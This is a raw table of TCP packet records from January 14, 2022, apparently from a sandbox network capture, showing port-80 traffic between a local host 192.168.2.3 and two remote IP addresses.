Jan 14, 2022 01:51:48.499825001 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.499865055 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.499880075 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.499906063 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.499943018 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.499958992 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.499982119 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.500020027 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.500040054 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.500056982 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.500094891 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.500108957 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.500133991 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.500171900 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.500186920 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.500211954 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.500247955 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.500262976 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.500287056 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.500324965 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.500336885 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.500360966 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.500399113 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.500412941 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.500437975 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.500477076 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.500490904 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.500515938 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.500552893 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.500572920 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.500591993 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.500632048 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.500644922 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.500668049 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.500706911 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.500720024 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.500745058 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.500783920 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.500798941 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.500823021 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.500859022 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.500874996 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.500896931 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.500935078 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.500971079 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.501007080 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.501009941 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.501013994 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.501048088 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.501063108 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.501089096 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.501128912 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.501142979 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.501163960 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.501203060 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.501220942 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.501241922 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.501281023 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.501305103 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.501322985 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.501338005 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.501363039 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.501400948 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.522489071 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.522531986 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.522578001 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.522605896 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.522618055 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.522658110 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.522670984 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.522696972 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.522733927 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.522756100 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.522773981 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.522814035 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.522821903 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.522851944 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.522891045 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.522928953 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.522942066 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.522965908 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.523003101 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.523017883 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.523041964 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.523081064 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.523109913 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.523123980 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.523147106 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.523160934 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.523200035 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.523236990 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.523261070 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.523276091 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.523281097 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.523313999 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.523351908 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.523380041 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.523391008 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.523431063 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.523435116 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.523468971 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.523509026 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.523546934 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.523560047 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.523583889 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.523590088 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.523623943 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.523662090 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.523700953 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.523708105 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.523740053 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.523776054 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.523785114 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.523814917 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.523819923 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.523854017 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.523890018 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.523897886 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.523926973 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.523964882 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.524003029 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.524010897 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.524043083 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.524070024 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.524080038 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.524117947 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.524156094 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.524168015 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.524192095 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.524199009 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.524230003 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.524267912 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.524271011 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.524306059 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.524354935 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.541325092 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.541404009 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.541445017 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.541457891 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.541482925 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.541501999 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.541523933 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.541564941 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.541601896 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.541619062 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.541642904 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.541652918 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.541683912 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.541721106 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.541738033 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.541759968 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.541799068 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.541811943 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.541838884 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.541893005 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.541901112 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.541939974 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.541975975 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.542013884 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.542026043 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.542053938 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.542072058 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.542094946 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.542135000 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.542146921 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.542172909 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.542212009 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.542227030 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.542249918 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.542287111 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.542300940 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.542325974 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.542363882 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.542376041 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.542402029 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.542454004 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.542469025 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.542490959 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.542530060 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.542545080 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.542571068 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.542607069 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.542623043 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.542648077 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.542685986 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.542700052 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.542722940 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.542759895 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.542773008 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.542798042 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.542835951 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.542849064 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.542875051 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.542911053 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.542927980 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.542949915 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.542988062 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.543000937 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.543024063 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.543061972 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.543076992 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.543101072 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.543138981 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.543153048 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.543179035 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.543215036 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.543229103 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.543253899 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.543292046 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.543307066 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.543328047 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.543365955 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.543385029 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.543404102 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.543442965 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.543481112 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.543494940 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.543517113 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.543530941 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.543556929 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.543595076 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.543606997 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.543632030 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.543669939 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.543684006 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.543709993 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.543747902 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.543761969 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.544622898 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.544694901 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.569637060 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.569684029 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.569720984 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.569758892 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.569797039 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.569818974 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.569835901 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.569849014 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.569855928 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.569900036 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.569900990 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.569942951 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.569981098 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.570017099 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.570039034 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.570055008 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.570059061 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.570094109 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.570131063 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.570168018 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.570182085 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.570205927 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.570226908 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.570245028 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.570283890 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.570297003 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.570321083 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.570400000 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.573415995 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.574393034 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.574433088 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.574471951 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.574501991 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.574510098 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.574547052 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.574574947 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.574585915 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.574640036 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.575855017 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.575896025 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.575937986 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.575973034 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.575977087 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.576016903 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.576055050 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.576070070 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.576096058 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.576109886 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.576133013 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.576173067 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.576211929 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.576224089 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.576251030 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.576258898 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.576292038 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.576329947 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.576343060 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.576370001 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.576410055 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.576432943 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.576447010 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.576447010 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.576487064 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.576524973 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.576538086 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.576561928 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.576586962 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.576600075 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.576639891 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.576647997 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.576678991 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.576718092 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.576731920 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.576756001 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.576795101 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.576832056 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.576844931 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.576869011 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.576883078 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.576910019 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.576947927 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.576961040 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.576984882 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.577024937 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.577059984 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.577071905 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.577099085 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.577106953 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.577136993 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.577173948 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.577187061 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.577210903 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.577249050 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.577286005 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.577299118 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.577326059 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.577353954 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.577383995 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.577392101 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.577421904 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.577438116 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.577476978 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.577514887 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.577529907 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.577553034 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.577567101 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.577589989 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.577653885 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.577804089 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.623712063 CET	80	49867	93.189.42.167	192.168.2.3
